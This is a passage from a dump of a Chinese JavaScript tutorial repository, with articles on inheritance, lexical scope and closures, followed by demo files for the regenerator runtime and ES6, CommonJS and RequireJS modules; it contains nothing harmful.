child.prototype = prototype; } // 当我们使用的时候: prototype(Child, Parent); ``` 引用《JavaScript高级程序设计》中对寄生组合式继承的夸赞就是: 这种方式的高效率体现它只调用了一次 Parent 构造函数,并且因此避免了在 Parent.prototype 上面创建不必要的、多余的属性。与此同时,原型链还能保持不变;因此,还能够正常使用 instanceof 和 isPrototypeOf。开发人员普遍认为寄生组合式继承是引用类型最理想的继承范式。 ## 相关链接 [《JavaScript深入之从原型到原型链》](https://github.com/mqyqingfeng/Blog/issues/2) [《JavaScript深入之call和apply的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/11) [《JavaScript深入之new的模拟实现》](https://github.com/mqyqingfeng/Blog/issues/13) [《JavaScript深入之创建对象》](https://github.com/mqyqingfeng/Blog/issues/15) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之词法作用域和动态作用域.md ================================================ # JavaScript深入之词法作用域和动态作用域 >JavaScript深入系列的第二篇,JavaScript采用词法作用域,什么语言采用了动态作用域?两者的区别又是什么?还有一个略难的思考题,快来看看吧。 ## 作用域 作用域是指程序源代码中定义变量的区域。 作用域规定了如何查找变量,也就是确定当前执行代码对变量的访问权限。 JavaScript 采用词法作用域(lexical scoping),也就是静态作用域。 ## 静态作用域与动态作用域 因为 JavaScript 采用的是词法作用域,函数的作用域在函数定义的时候就决定了。 而与词法作用域相对的是动态作用域,函数的作用域是在函数调用的时候才决定的。 让我们认真看个例子就能明白之间的区别: ```js var value = 1; function foo() { console.log(value); } function bar() { var value = 2; foo(); } bar(); // 结果是 ??? ``` 假设JavaScript采用静态作用域,让我们分析下执行过程: 执行 foo 函数,先从 foo 函数内部查找是否有局部变量 value,如果没有,就根据书写的位置,查找上面一层的代码,也就是 value 等于 1,所以结果会打印 1。 假设JavaScript采用动态作用域,让我们分析下执行过程: 执行 foo 函数,依然是从 foo 函数内部查找是否有局部变量 value。如果没有,就从调用函数的作用域,也就是 bar 函数内部查找 value 变量,所以结果会打印 2。 前面我们已经说了,JavaScript采用的是静态作用域,所以这个例子的结果是 1。 ## 动态作用域 也许你会好奇什么语言是动态作用域? bash 就是动态作用域,不信的话,把下面的脚本存成例如 scope.bash,然后进入相应的目录,用命令行执行 `bash ./scope.bash`,看看打印的值是多少。 ```bash value=1 function foo () { echo $value; } function bar () { local value=2; foo; } bar ``` 这个文件也可以在[github博客仓库](https://github.com/mqyqingfeng/Blog/blob/master/demos/scope/scope.bash)中找到。 ## 思考题 最后,让我们看一个《JavaScript权威指南》中的例子: ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f(); } checkscope(); ``` ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f; } checkscope()(); ``` 猜猜两段代码各自的执行结果是多少? 这里直接告诉大家结果,两段代码都会打印:`local scope`。 原因也很简单,因为JavaScript采用的是词法作用域,函数的作用域基于函数创建的位置。 而引用《JavaScript权威指南》的回答就是: JavaScript 函数的执行用到了作用域链,这个作用域链是在函数定义的时候创建的。嵌套的函数 f() 定义在这个作用域链里,其中的变量 scope 一定是局部变量,不管何时何地执行函数 f(),这种绑定在执行 f() 时依然有效。 但是在这里真正想让大家思考的是: 虽然两段代码执行的结果一样,但是两段代码究竟有哪些不同呢? 如果要回答这个问题,就要牵涉到很多的内容,词法作用域只是其中的一小部分,让我们期待下一篇文章————《JavaScript深入之执行上下文栈》。 ## 下一篇文章 [JavaScript深入之执行上下文栈](https://github.com/mqyqingfeng/Blog/issues/4) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: articles/深入系列文章/JavaScript深入之闭包.md ================================================ # JavaScript深入之闭包 > JavaScript深入系列第八篇,介绍理论上的闭包和实践上的闭包,以及从作用域链的角度解析经典的闭包题。 ## 定义 MDN 对闭包的定义为: >闭包是指那些能够访问自由变量的函数。 那什么是自由变量呢? >自由变量是指在函数中使用的,但既不是函数参数也不是函数的局部变量的变量。 由此,我们可以看出闭包共有两部分组成: >闭包 = 函数 + 函数能够访问的自由变量 举个例子: ```js var a = 1; function foo() { console.log(a); } foo(); ``` foo 函数可以访问变量 a,但是 a 既不是 foo 函数的局部变量,也不是 foo 函数的参数,所以 a 就是自由变量。 那么,函数 foo + foo 函数访问的自由变量 a 不就是构成了一个闭包嘛…… 还真是这样的! 所以在《JavaScript权威指南》中就讲到:从技术的角度讲,所有的JavaScript函数都是闭包。 咦,这怎么跟我们平时看到的讲到的闭包不一样呢!? 别着急,这是理论上的闭包,其实还有一个实践角度上的闭包,让我们看看汤姆大叔翻译的关于闭包的文章中的定义: ECMAScript中,闭包指的是: 1. 从理论角度:所有的函数。因为它们都在创建的时候就将上层上下文的数据保存起来了。哪怕是简单的全局变量也是如此,因为函数中访问全局变量就相当于是在访问自由变量,这个时候使用最外层的作用域。 2. 从实践角度:以下函数才算是闭包: 1. 即使创建它的上下文已经销毁,它仍然存在(比如,内部函数从父函数中返回) 2. 在代码中引用了自由变量 接下来就来讲讲实践上的闭包。 ## 分析 让我们先写个例子,例子依然是来自《JavaScript权威指南》,稍微做点改动: ```js var scope = "global scope"; function checkscope(){ var scope = "local scope"; function f(){ return scope; } return f; } var foo = checkscope(); foo(); ``` 首先我们要分析一下这段代码中执行上下文栈和执行上下文的变化情况。 另一个与这段代码相似的例子,在[《JavaScript深入之执行上下文》](https://github.com/mqyqingfeng/Blog/issues/8)中有着非常详细的分析。如果看不懂以下的执行过程,建议先阅读这篇文章。 这里直接给出简要的执行过程: 1. 进入全局代码,创建全局执行上下文,全局执行上下文压入执行上下文栈 2. 全局执行上下文初始化 3. 执行 checkscope 函数,创建 checkscope 函数执行上下文,checkscope 执行上下文被压入执行上下文栈 4. checkscope 执行上下文初始化,创建变量对象、作用域链、this等 5. checkscope 函数执行完毕,checkscope 执行上下文从执行上下文栈中弹出 6. 执行 f 函数,创建 f 函数执行上下文,f 执行上下文被压入执行上下文栈 7. f 执行上下文初始化,创建变量对象、作用域链、this等 8. f 函数执行完毕,f 函数上下文从执行上下文栈中弹出 了解到这个过程,我们应该思考一个问题,那就是: 当 f 函数执行的时候,checkscope 函数上下文已经被销毁了啊(即从执行上下文栈中被弹出),怎么还会读取到 checkscope 作用域下的 scope 值呢? 以上的代码,要是转换成 PHP,就会报错,因为在 PHP 中,f 函数只能读取到自己作用域和全局作用域里的值,所以读不到 checkscope 下的 scope 值。(这段我问的PHP同事……) 然而 JavaScript 却是可以的! 当我们了解了具体的执行过程后,我们知道 f 执行上下文维护了一个作用域链: ```js fContext = { Scope: [AO, checkscopeContext.AO, globalContext.VO], } ``` 对的,就是因为这个作用域链,f 函数依然可以读取到 checkscopeContext.AO 的值,说明当 f 函数引用了 checkscopeContext.AO 中的值的时候,即使 checkscopeContext 被销毁了,但是 JavaScript 依然会让 checkscopeContext.AO 活在内存中,f 函数依然可以通过 f 函数的作用域链找到它,正是因为 JavaScript 做到了这一点,从而实现了闭包这个概念。 所以,让我们再看一遍实践角度上闭包的定义: 1. 即使创建它的上下文已经销毁,它仍然存在(比如,内部函数从父函数中返回) 2. 在代码中引用了自由变量 在这里再补充一个《JavaScript权威指南》英文原版对闭包的定义: > This combination of a function object and a scope (a set of variable bindings) in which the function’s variables are resolved is called a closure in the computer science literature. 闭包在计算机科学中也只是一个普通的概念,大家不要去想得太复杂。 ## 必刷题 接下来,看这道刷题必刷,面试必考的闭包题: ```js var data = []; for (var i = 0; i < 3; i++) { data[i] = function () { console.log(i); }; } data[0](); data[1](); data[2](); ``` 答案是都是 3,让我们分析一下原因: 当执行到 data[0] 函数之前,此时全局上下文的 VO 为: ```js globalContext = { VO: { data: [...], i: 3 } } ``` 当执行 data[0] 函数的时候,data[0] 函数的作用域链为: ```js data[0]Context = { Scope: [AO, globalContext.VO] } ``` data[0]Context 的 AO 并没有 i 值,所以会从 globalContext.VO 中查找,i 为 3,所以打印的结果就是 3。 data[1] 和 data[2] 是一样的道理。 所以让我们改成闭包看看: ```js var data = []; for (var i = 0; i < 3; i++) { data[i] = (function (i) { return function(){ console.log(i); } })(i); } data[0](); data[1](); data[2](); ``` 当执行到 data[0] 函数之前,此时全局上下文的 VO 为: ```js globalContext = { VO: { data: [...], i: 3 } } ``` 跟没改之前一模一样。 当执行 data[0] 函数的时候,data[0] 函数的作用域链发生了改变: ```js data[0]Context = { Scope: [AO, 匿名函数Context.AO globalContext.VO] } ``` 匿名函数执行上下文的 AO 为: ```js 匿名函数Context = { AO: { arguments: { 0: 0, length: 1 }, i: 0 } } ``` data[0]Context 的 AO 并没有 i 值,所以会沿着作用域链从匿名函数 Context.AO 中查找,这时候就会找 i 为 0,找到了就不会往 globalContext.VO 中查找了,即使 globalContext.VO 也有 i 的值(值为3),所以打印的结果就是 0。 data[1] 和 data[2] 是一样的道理。 ## 下一篇文章 [JavaScript深入之参数按值传递](https://github.com/mqyqingfeng/Blog/issues/10) ## 相关链接 如果想了解执行上下文的具体变化,不妨循序渐进,阅读这六篇: [《JavaScript深入之词法作用域和动态作用域》](https://github.com/mqyqingfeng/Blog/issues/3) [《JavaScript深入之执行上下文栈》](https://github.com/mqyqingfeng/Blog/issues/4) [《JavaScript深入之变量对象》](https://github.com/mqyqingfeng/Blog/issues/5) [《JavaScript深入之作用域链》](https://github.com/mqyqingfeng/Blog/issues/6) [《JavaScript深入之从ECMAScript规范解读this》](https://github.com/mqyqingfeng/Blog/issues/7) [《JavaScript深入之执行上下文》](https://github.com/mqyqingfeng/Blog/issues/8) ## 深入系列 JavaScript深入系列目录地址:[https://github.com/mqyqingfeng/Blog](https://github.com/mqyqingfeng/Blog)。 JavaScript深入系列预计写十五篇左右,旨在帮大家捋顺JavaScript底层知识,重点讲解如原型、作用域、执行上下文、变量对象、this、闭包、按值传递、call、apply、bind、new、继承等难点概念。 如果有错误或者不严谨的地方,请务必给予指正,十分感谢。如果喜欢或者有所启发,欢迎star,对作者也是一种鼓励。 ================================================ FILE: demos/ES6/generator/generator-es5.js ================================================ /** * Copyright (c) 2014-present, Facebook, Inc. * * This source code is licensed under the MIT license found in the * LICENSE file in the root directory of this source tree. */ !(function(global) { "use strict"; var Op = Object.prototype; var hasOwn = Op.hasOwnProperty; var undefined; // More compressible than void 0. var $Symbol = typeof Symbol === "function" ? Symbol : {}; var iteratorSymbol = $Symbol.iterator || "@@iterator"; var asyncIteratorSymbol = $Symbol.asyncIterator || "@@asyncIterator"; var toStringTagSymbol = $Symbol.toStringTag || "@@toStringTag"; var inModule = typeof module === "object"; var runtime = global.regeneratorRuntime; if (runtime) { if (inModule) { // If regeneratorRuntime is defined globally and we're in a module, // make the exports object identical to regeneratorRuntime. module.exports = runtime; } // Don't bother evaluating the rest of this file if the runtime was // already defined globally. return; } // Define the runtime globally (as expected by generated code) as either // module.exports (if we're in a module) or a new, empty object. runtime = global.regeneratorRuntime = inModule ? module.exports : {}; function wrap(innerFn, outerFn, self, tryLocsList) { // If outerFn provided and outerFn.prototype is a Generator, then outerFn.prototype instanceof Generator. var protoGenerator = outerFn && outerFn.prototype instanceof Generator ? outerFn : Generator; var generator = Object.create(protoGenerator.prototype); var context = new Context(tryLocsList || []); // The ._invoke method unifies the implementations of the .next, // .throw, and .return methods. generator._invoke = makeInvokeMethod(innerFn, self, context); return generator; } runtime.wrap = wrap; // Try/catch helper to minimize deoptimizations. Returns a completion // record like context.tryEntries[i].completion. This interface could // have been (and was previously) designed to take a closure to be // invoked without arguments, but in all the cases we care about we // already have an existing method we want to call, so there's no need // to create a new function object. We can even get away with assuming // the method takes exactly one argument, since that happens to be true // in every case, so we don't have to touch the arguments object. The // only additional allocation required is the completion record, which // has a stable shape and so hopefully should be cheap to allocate. function tryCatch(fn, obj, arg) { try { return { type: "normal", arg: fn.call(obj, arg) }; } catch (err) { return { type: "throw", arg: err }; } } var GenStateSuspendedStart = "suspendedStart"; var GenStateSuspendedYield = "suspendedYield"; var GenStateExecuting = "executing"; var GenStateCompleted = "completed"; // Returning this object from the innerFn has the same effect as // breaking out of the dispatch switch statement. var ContinueSentinel = {}; // Dummy constructor functions that we use as the .constructor and // .constructor.prototype properties for functions that return Generator // objects. For full spec compliance, you may wish to configure your // minifier not to mangle the names of these two functions. function Generator() {} function GeneratorFunction() {} function GeneratorFunctionPrototype() {} // This is a polyfill for %IteratorPrototype% for environments that // don't natively support it. var IteratorPrototype = {}; IteratorPrototype[iteratorSymbol] = function () { return this; }; var getProto = Object.getPrototypeOf; var NativeIteratorPrototype = getProto && getProto(getProto(values([]))); if (NativeIteratorPrototype && NativeIteratorPrototype !== Op && hasOwn.call(NativeIteratorPrototype, iteratorSymbol)) { // This environment has a native %IteratorPrototype%; use it instead // of the polyfill. IteratorPrototype = NativeIteratorPrototype; } var Gp = GeneratorFunctionPrototype.prototype = Generator.prototype = Object.create(IteratorPrototype); GeneratorFunction.prototype = Gp.constructor = GeneratorFunctionPrototype; GeneratorFunctionPrototype.constructor = GeneratorFunction; GeneratorFunctionPrototype[toStringTagSymbol] = GeneratorFunction.displayName = "GeneratorFunction"; // Helper for defining the .next, .throw, and .return methods of the // Iterator interface in terms of a single ._invoke method. function defineIteratorMethods(prototype) { ["next", "throw", "return"].forEach(function(method) { prototype[method] = function(arg) { return this._invoke(method, arg); }; }); } runtime.isGeneratorFunction = function(genFun) { var ctor = typeof genFun === "function" && genFun.constructor; return ctor ? ctor === GeneratorFunction || // For the native GeneratorFunction constructor, the best we can // do is to check its .name property. (ctor.displayName || ctor.name) === "GeneratorFunction" : false; }; runtime.mark = function(genFun) { if (Object.setPrototypeOf) { Object.setPrototypeOf(genFun, GeneratorFunctionPrototype); } else { genFun.__proto__ = GeneratorFunctionPrototype; if (!(toStringTagSymbol in genFun)) { genFun[toStringTagSymbol] = "GeneratorFunction"; } } genFun.prototype = Object.create(Gp); return genFun; }; // Within the body of any async function, `await x` is transformed to // `yield regeneratorRuntime.awrap(x)`, so that the runtime can test // `hasOwn.call(value, "__await")` to determine if the yielded value is // meant to be awaited. runtime.awrap = function(arg) { return { __await: arg }; }; function AsyncIterator(generator) { function invoke(method, arg, resolve, reject) { var record = tryCatch(generator[method], generator, arg); if (record.type === "throw") { reject(record.arg); } else { var result = record.arg; var value = result.value; if (value && typeof value === "object" && hasOwn.call(value, "__await")) { return Promise.resolve(value.__await).then(function(value) { invoke("next", value, resolve, reject); }, function(err) { invoke("throw", err, resolve, reject); }); } return Promise.resolve(value).then(function(unwrapped) { // When a yielded Promise is resolved, its final value becomes // the .value of the Promise<{value,done}> result for the // current iteration. result.value = unwrapped; resolve(result); }, function(error) { // If a rejected Promise was yielded, throw the rejection back // into the async generator function so it can be handled there. return invoke("throw", error, resolve, reject); }); } } var previousPromise; function enqueue(method, arg) { function callInvokeWithMethodAndArg() { return new Promise(function(resolve, reject) { invoke(method, arg, resolve, reject); }); } return previousPromise = // If enqueue has been called before, then we want to wait until // all previous Promises have been resolved before calling invoke, // so that results are always delivered in the correct order. If // enqueue has not been called before, then it is important to // call invoke immediately, without waiting on a callback to fire, // so that the async generator function has the opportunity to do // any necessary setup in a predictable way. This predictability // is why the Promise constructor synchronously invokes its // executor callback, and why async functions synchronously // execute code before the first await. Since we implement simple // async functions in terms of async generators, it is especially // important to get this right, even though it requires care. previousPromise ? previousPromise.then( callInvokeWithMethodAndArg, // Avoid propagating failures to Promises returned by later // invocations of the iterator. callInvokeWithMethodAndArg ) : callInvokeWithMethodAndArg(); } // Define the unified helper method that is used to implement .next, // .throw, and .return (see defineIteratorMethods). this._invoke = enqueue; } defineIteratorMethods(AsyncIterator.prototype); AsyncIterator.prototype[asyncIteratorSymbol] = function () { return this; }; runtime.AsyncIterator = AsyncIterator; // Note that simple async functions are implemented on top of // AsyncIterator objects; they just return a Promise for the value of // the final result produced by the iterator. runtime.async = function(innerFn, outerFn, self, tryLocsList) { var iter = new AsyncIterator( wrap(innerFn, outerFn, self, tryLocsList) ); return runtime.isGeneratorFunction(outerFn) ? iter // If outerFn is a generator, return the full iterator. : iter.next().then(function(result) { return result.done ? result.value : iter.next(); }); }; function makeInvokeMethod(innerFn, self, context) { var state = GenStateSuspendedStart; return function invoke(method, arg) { if (state === GenStateExecuting) { throw new Error("Generator is already running"); } if (state === GenStateCompleted) { if (method === "throw") { throw arg; } // Be forgiving, per 25.3.3.3.3 of the spec: // https://people.mozilla.org/~jorendorff/es6-draft.html#sec-generatorresume return doneResult(); } context.method = method; context.arg = arg; while (true) { var delegate = context.delegate; if (delegate) { var delegateResult = maybeInvokeDelegate(delegate, context); if (delegateResult) { if (delegateResult === ContinueSentinel) continue; return delegateResult; } } if (context.method === "next") { // Setting context._sent for legacy support of Babel's // function.sent implementation. context.sent = context._sent = context.arg; } else if (context.method === "throw") { if (state === GenStateSuspendedStart) { state = GenStateCompleted; throw context.arg; } context.dispatchException(context.arg); } else if (context.method === "return") { context.abrupt("return", context.arg); } state = GenStateExecuting; var record = tryCatch(innerFn, self, context); if (record.type === "normal") { // If an exception is thrown from innerFn, we leave state === // GenStateExecuting and loop back for another invocation. state = context.done ? GenStateCompleted : GenStateSuspendedYield; if (record.arg === ContinueSentinel) { continue; } return { value: record.arg, done: context.done }; } else if (record.type === "throw") { state = GenStateCompleted; // Dispatch the exception by looping back around to the // context.dispatchException(context.arg) call above. context.method = "throw"; context.arg = record.arg; } } }; } // Call delegate.iterator[context.method](context.arg) and handle the // result, either by returning a { value, done } result from the // delegate iterator, or by modifying context.method and context.arg, // setting context.delegate to null, and returning the ContinueSentinel. function maybeInvokeDelegate(delegate, context) { var method = delegate.iterator[context.method]; if (method === undefined) { // A .throw or .return when the delegate iterator has no .throw // method always terminates the yield* loop. context.delegate = null; if (context.method === "throw") { if (delegate.iterator.return) { // If the delegate iterator has a return method, give it a // chance to clean up. context.method = "return"; context.arg = undefined; maybeInvokeDelegate(delegate, context); if (context.method === "throw") { // If maybeInvokeDelegate(context) changed context.method from // "return" to "throw", let that override the TypeError below. return ContinueSentinel; } } context.method = "throw"; context.arg = new TypeError( "The iterator does not provide a 'throw' method"); } return ContinueSentinel; } var record = tryCatch(method, delegate.iterator, context.arg); if (record.type === "throw") { context.method = "throw"; context.arg = record.arg; context.delegate = null; return ContinueSentinel; } var info = record.arg; if (! info) { context.method = "throw"; context.arg = new TypeError("iterator result is not an object"); context.delegate = null; return ContinueSentinel; } if (info.done) { // Assign the result of the finished delegate to the temporary // variable specified by delegate.resultName (see delegateYield). context[delegate.resultName] = info.value; // Resume execution at the desired location (see delegateYield). context.next = delegate.nextLoc; // If context.method was "throw" but the delegate handled the // exception, let the outer generator proceed normally. If // context.method was "next", forget context.arg since it has been // "consumed" by the delegate iterator. If context.method was // "return", allow the original .return call to continue in the // outer generator. if (context.method !== "return") { context.method = "next"; context.arg = undefined; } } else { // Re-yield the result returned by the delegate method. return info; } // The delegate iterator is finished, so forget it and continue with // the outer generator. context.delegate = null; return ContinueSentinel; } // Define Generator.prototype.{next,throw,return} in terms of the // unified ._invoke helper method. defineIteratorMethods(Gp); Gp[toStringTagSymbol] = "Generator"; // A Generator should always return itself as the iterator object when the // @@iterator function is called on it. Some browsers' implementations of the // iterator prototype chain incorrectly implement this, causing the Generator // object to not be returned from this call. This ensures that doesn't happen. // See https://github.com/facebook/regenerator/issues/274 for more details. Gp[iteratorSymbol] = function() { return this; }; Gp.toString = function() { return "[object Generator]"; }; function pushTryEntry(locs) { var entry = { tryLoc: locs[0] }; if (1 in locs) { entry.catchLoc = locs[1]; } if (2 in locs) { entry.finallyLoc = locs[2]; entry.afterLoc = locs[3]; } this.tryEntries.push(entry); } function resetTryEntry(entry) { var record = entry.completion || {}; record.type = "normal"; delete record.arg; entry.completion = record; } function Context(tryLocsList) { // The root entry object (effectively a try statement without a catch // or a finally block) gives us a place to store values thrown from // locations where there is no enclosing try statement. this.tryEntries = [{ tryLoc: "root" }]; tryLocsList.forEach(pushTryEntry, this); this.reset(true); } runtime.keys = function(object) { var keys = []; for (var key in object) { keys.push(key); } keys.reverse(); // Rather than returning an object with a next method, we keep // things simple and return the next function itself. return function next() { while (keys.length) { var key = keys.pop(); if (key in object) { next.value = key; next.done = false; return next; } } // To avoid creating an additional object, we just hang the .value // and .done properties off the next function object itself. This // also ensures that the minifier will not anonymize the function. next.done = true; return next; }; }; function values(iterable) { if (iterable) { var iteratorMethod = iterable[iteratorSymbol]; if (iteratorMethod) { return iteratorMethod.call(iterable); } if (typeof iterable.next === "function") { return iterable; } if (!isNaN(iterable.length)) { var i = -1, next = function next() { while (++i < iterable.length) { if (hasOwn.call(iterable, i)) { next.value = iterable[i]; next.done = false; return next; } } next.value = undefined; next.done = true; return next; }; return next.next = next; } } // Return an iterator with no values. return { next: doneResult }; } runtime.values = values; function doneResult() { return { value: undefined, done: true }; } Context.prototype = { constructor: Context, reset: function(skipTempReset) { this.prev = 0; this.next = 0; // Resetting context._sent for legacy support of Babel's // function.sent implementation. this.sent = this._sent = undefined; this.done = false; this.delegate = null; this.method = "next"; this.arg = undefined; this.tryEntries.forEach(resetTryEntry); if (!skipTempReset) { for (var name in this) { // Not sure about the optimal order of these conditions: if (name.charAt(0) === "t" && hasOwn.call(this, name) && !isNaN(+name.slice(1))) { this[name] = undefined; } } } }, stop: function() { this.done = true; var rootEntry = this.tryEntries[0]; var rootRecord = rootEntry.completion; if (rootRecord.type === "throw") { throw rootRecord.arg; } return this.rval; }, dispatchException: function(exception) { if (this.done) { throw exception; } var context = this; function handle(loc, caught) { record.type = "throw"; record.arg = exception; context.next = loc; if (caught) { // If the dispatched exception was caught by a catch block, // then let that catch block handle the exception normally. context.method = "next"; context.arg = undefined; } return !! caught; } for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; var record = entry.completion; if (entry.tryLoc === "root") { // Exception thrown outside of any try block that could handle // it, so set the completion value of the entire function to // throw the exception. return handle("end"); } if (entry.tryLoc <= this.prev) { var hasCatch = hasOwn.call(entry, "catchLoc"); var hasFinally = hasOwn.call(entry, "finallyLoc"); if (hasCatch && hasFinally) { if (this.prev < entry.catchLoc) { return handle(entry.catchLoc, true); } else if (this.prev < entry.finallyLoc) { return handle(entry.finallyLoc); } } else if (hasCatch) { if (this.prev < entry.catchLoc) { return handle(entry.catchLoc, true); } } else if (hasFinally) { if (this.prev < entry.finallyLoc) { return handle(entry.finallyLoc); } } else { throw new Error("try statement without catch or finally"); } } } }, abrupt: function(type, arg) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.tryLoc <= this.prev && hasOwn.call(entry, "finallyLoc") && this.prev < entry.finallyLoc) { var finallyEntry = entry; break; } } if (finallyEntry && (type === "break" || type === "continue") && finallyEntry.tryLoc <= arg && arg <= finallyEntry.finallyLoc) { // Ignore the finally entry if control is not jumping to a // location outside the try/catch block. finallyEntry = null; } var record = finallyEntry ? finallyEntry.completion : {}; record.type = type; record.arg = arg; if (finallyEntry) { this.method = "next"; this.next = finallyEntry.finallyLoc; return ContinueSentinel; } return this.complete(record); }, complete: function(record, afterLoc) { if (record.type === "throw") { throw record.arg; } if (record.type === "break" || record.type === "continue") { this.next = record.arg; } else if (record.type === "return") { this.rval = this.arg = record.arg; this.method = "return"; this.next = "end"; } else if (record.type === "normal" && afterLoc) { this.next = afterLoc; } return ContinueSentinel; }, finish: function(finallyLoc) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.finallyLoc === finallyLoc) { this.complete(entry.completion, entry.afterLoc); resetTryEntry(entry); return ContinueSentinel; } } }, "catch": function(tryLoc) { for (var i = this.tryEntries.length - 1; i >= 0; --i) { var entry = this.tryEntries[i]; if (entry.tryLoc === tryLoc) { var record = entry.completion; if (record.type === "throw") { var thrown = record.arg; resetTryEntry(entry); } return thrown; } } // The context.catch method must only be called with a location // argument that corresponds to a known catch block. throw new Error("illegal catch attempt"); }, delegateYield: function(iterable, resultName, nextLoc) { this.delegate = { iterator: values(iterable), resultName: resultName, nextLoc: nextLoc }; if (this.method === "next") { // Deliberately forget the last sent value so that we don't // accidentally pass it on to the delegate. this.arg = undefined; } return ContinueSentinel; } }; })( // In sloppy mode, unbound `this` refers to the global object, fallback to // Function constructor if we're in global strict mode. That is sadly a form // of indirect eval which violates Content Security Policy. (function() { return this || (typeof self === "object" && self); })() || Function("return this")() ); var _marked = /*#__PURE__*/ regeneratorRuntime.mark(helloWorldGenerator); function helloWorldGenerator() { return regeneratorRuntime.wrap(function helloWorldGenerator$(_context) { while (1) { switch (_context.prev = _context.next) { case 0: _context.next = 2; return 'hello'; case 2: _context.next = 4; return 'world'; case 4: return _context.abrupt("return", 'ending'); case 5: case "end": return _context.stop(); } } }, _marked, this); } var hw = helloWorldGenerator(); console.log(hw.next()); // {value: "hello", done: false} console.log(hw.next()); // {value: "world", done: false} console.log(hw.next()); // {value: "ending", done: true} console.log(hw.next()); // {value: undefined, done: true} ================================================ FILE: demos/ES6/module/ES6/index.html ================================================ ES6

Content

================================================ FILE: demos/ES6/module/ES6/vender/add.js ================================================ console.log('加载了 add 模块') var add = function(x, y) { return x + y; }; export {add} ================================================ FILE: demos/ES6/module/ES6/vender/main.js ================================================ import {add} from './add.js'; console.log(add(1, 1)) import {square} from './square.js'; console.log(square(3)) ================================================ FILE: demos/ES6/module/ES6/vender/multiply.js ================================================ console.log('加载了 multiply 模块') var multiply = function(x, y) {  return x * y; }; export {multiply} ================================================ FILE: demos/ES6/module/ES6/vender/square.js ================================================ console.log('加载了 square 模块') import {multiply} from './multiply.js'; var square = function(num) {  return multiply(num, num); }; export {square} ================================================ FILE: demos/ES6/module/commonJS/add.js ================================================ console.log('加载了 add 模块') var add = function(x, y) {  return x + y; }; module.exports.add = add; ================================================ FILE: demos/ES6/module/commonJS/main.js ================================================ var add = require('./add.js'); console.log(add.add(1, 1)) var square = require('./square.js'); console.log(square.square(3)) ================================================ FILE: demos/ES6/module/commonJS/multiply.js ================================================ console.log('加载了 multiply 模块') var multiply = function(x, y) {  return x * y; }; module.exports.multiply = multiply; ================================================ FILE: demos/ES6/module/commonJS/square.js ================================================ console.log('加载了 square 模块') var multiply = require('./multiply.js'); var square = function(num) {  return multiply.multiply(num, num); }; module.exports.square = square; ================================================ FILE: demos/ES6/module/requirejs/index.html ================================================ require.js

Content

================================================ FILE: demos/ES6/module/requirejs/vender/add.js ================================================ define(function() { console.log('加载了 add 模块') var add = function(x, y) {  return x + y; }; return {       add: add }; }); ================================================ FILE: demos/ES6/module/requirejs/vender/main.js ================================================ require(['./add', './square'], function(addModule, squareModule) { console.log(addModule.add(1, 1)) console.log(squareModule.square(3)) }); ================================================ FILE: demos/ES6/module/requirejs/vender/multiply.js ================================================ define(function() { console.log('加载了 multiply 模块') var multiply = function(x, y) {  return x * y; }; return {       multiply: multiply }; }); ================================================ FILE: demos/ES6/module/requirejs/vender/require.js ================================================ /** vim: et:ts=4:sw=4:sts=4 * @license RequireJS 2.3.5 Copyright jQuery Foundation and other contributors. * Released under MIT license, https://github.com/requirejs/requirejs/blob/master/LICENSE */ //Not using strict: uneven strict support in browsers, #392, and causes //problems with requirejs.exec()/transpiler plugins that may not be strict. /*jslint regexp: true, nomen: true, sloppy: true */ /*global window, navigator, document, importScripts, setTimeout, opera */ var requirejs, require, define; (function (global, setTimeout) { var req, s, head, baseElement, dataMain, src, interactiveScript, currentlyAddingScript, mainScript, subPath, version = '2.3.5', commentRegExp = /\/\*[\s\S]*?\*\/|([^:"'=]|^)\/\/.*$/mg, cjsRequireRegExp = /[^.]\s*require\s*\(\s*["']([^'"\s]+)["']\s*\)/g, jsSuffixRegExp = /\.js$/, currDirRegExp = /^\.\//, op = Object.prototype, ostring = op.toString, hasOwn = op.hasOwnProperty, isBrowser = !!(typeof window !== 'undefined' && typeof navigator !== 'undefined' && window.document), isWebWorker = !isBrowser && typeof importScripts !== 'undefined', //PS3 indicates loaded and complete, but need to wait for complete //specifically. Sequence is 'loading', 'loaded', execution, // then 'complete'. The UA check is unfortunate, but not sure how //to feature test w/o causing perf issues. readyRegExp = isBrowser && navigator.platform === 'PLAYSTATION 3' ? /^complete$/ : /^(complete|loaded)$/, defContextName = '_', //Oh the tragedy, detecting opera. See the usage of isOpera for reason. isOpera = typeof opera !== 'undefined' && opera.toString() === '[object Opera]', contexts = {}, cfg = {}, globalDefQueue = [], useInteractive = false; //Could match something like ')//comment', do not lose the prefix to comment. function commentReplace(match, singlePrefix) { return singlePrefix || ''; } function isFunction(it) { return ostring.call(it) === '[object Function]'; } function isArray(it) { return ostring.call(it) === '[object Array]'; } /** * Helper function for iterating over an array. If the func returns * a true value, it will break out of the loop. */ function each(ary, func) { if (ary) { var i; for (i = 0; i < ary.length; i += 1) { if (ary[i] && func(ary[i], i, ary)) { break; } } } } /** * Helper function for iterating over an array backwards. If the func * returns a true value, it will break out of the loop. */ function eachReverse(ary, func) { if (ary) { var i; for (i = ary.length - 1; i > -1; i -= 1) { if (ary[i] && func(ary[i], i, ary)) { break; } } } 